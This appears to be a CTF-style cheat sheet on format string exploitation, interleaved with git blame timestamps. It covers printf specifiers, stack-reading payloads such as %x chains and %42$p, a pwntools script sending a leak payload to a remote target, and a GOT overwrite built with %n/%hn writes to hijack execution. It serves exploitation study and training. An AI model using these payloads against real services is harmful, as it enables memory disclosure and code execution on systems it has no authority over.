2022-05-05 09:31:18 +02:00
# Format String
* Read and write values from stack
2022-05-10 00:08:57 +02:00
* [axcheron's writeup ](https://axcheron.github.io/exploit-101-format-strings/ )
2022-05-05 09:31:18 +02:00
2022-05-31 21:08:28 +02:00
## Parameters
|Parameters |Type |Passed as
|-----------------|-------------------------------------------|-----------|
%d decimal (int) value
%u unsigned decimal (unsigned int) value
%x hexadecimal (unsigned int) value
%p hexadecimal (unsigned int), nice layout value
%s string ((const) (unsigned) char*) reference
%n write the number of bytes ypu put in, (*int) reference
## Offset
* Read at offset as pointer value at the 42th argument on the stack
```sh
%42$s
```
* If the pointer at the offset references a string you can dereference by
```sh
%42$s
```
## Length of output
* Padding of the first argument on stack to the given length
```sh
%31337x
```
2022-05-05 09:31:18 +02:00
## Read
2022-05-31 21:08:28 +02:00
* Input `%x` for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function
2022-05-05 09:31:18 +02:00
```sh
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
```
2022-05-10 00:08:57 +02:00
* Do long long hex reading from stack
```sh
%llx
```
2022-05-05 09:31:18 +02:00
* Select values as string, e.g. the second value
```sh
%2$s
```
2022-05-31 21:08:28 +02:00
* Another way of reading the pointer is via
```sh
%p
```
2022-05-10 00:08:57 +02:00
* Read pointer on stack at offset 42
```sh
%42$p
```
2022-05-05 09:31:18 +02:00
* [ir0stone's pwn-notes ](https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md ) contains some useful pwntool scripts like this one
```python
from pwn import *
#p = process('./vuln')
p = remote(target_ip, 9006)
payload = b'%14$p||||'
payload += p32(0x8048000)
p.sendline(payload)
log.info(p.clean())
```
2022-05-10 00:08:57 +02:00
2022-05-31 21:08:28 +02:00
## Write
2022-05-10 00:08:57 +02:00
2022-05-31 21:08:28 +02:00
* Writing is done via `%n`
* An example, GOT overwrite. We want to replace the pointer address
* Watch out for the `PTR` from PLT to GOT
2022-05-10 00:08:57 +02:00
```sh
2022-05-31 21:08:28 +02:00
objdump -Mintel -d < binary >
[...]
0000000000401060 < printf @ plt > :
401060: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404030 < printf @ GLIBC_2 . 2 . 5 >
401066: 68 03 00 00 00 push 0x3
40106b: e9 b0 ff ff ff jmp 401020 < _init + 0x20 >
[...]
2022-05-10 00:08:57 +02:00
```
2022-05-31 21:08:28 +02:00
* The `PTR` derefences __0x404030__
* As an example, the parameter is found at arg 6 on the stack
* Write the address of a function that cannot be reached into the PLT `PTR` to GOT through the buffer, so it will execute. The address which should be written is `0x40123b`
* The input is as follows
2022-05-10 00:08:57 +02:00
```sh
2022-05-31 21:08:28 +02:00
%64c%6$n< restof address - 67 > c %13$hn
2022-05-10 00:08:57 +02:00
```
2022-05-31 21:08:28 +02:00
* `64c` is `0x40` , rest of address - bytes already + 2 bytes alignment
2022-05-10 00:08:57 +02:00
## Tips and Tricks
* Overwrite GOT when there is no FullRELRO, when it is not read only
* Find the input argument on the stack. Write `AAAA` and look out where it is placed on the stack
```sh
AAAA%6$p
```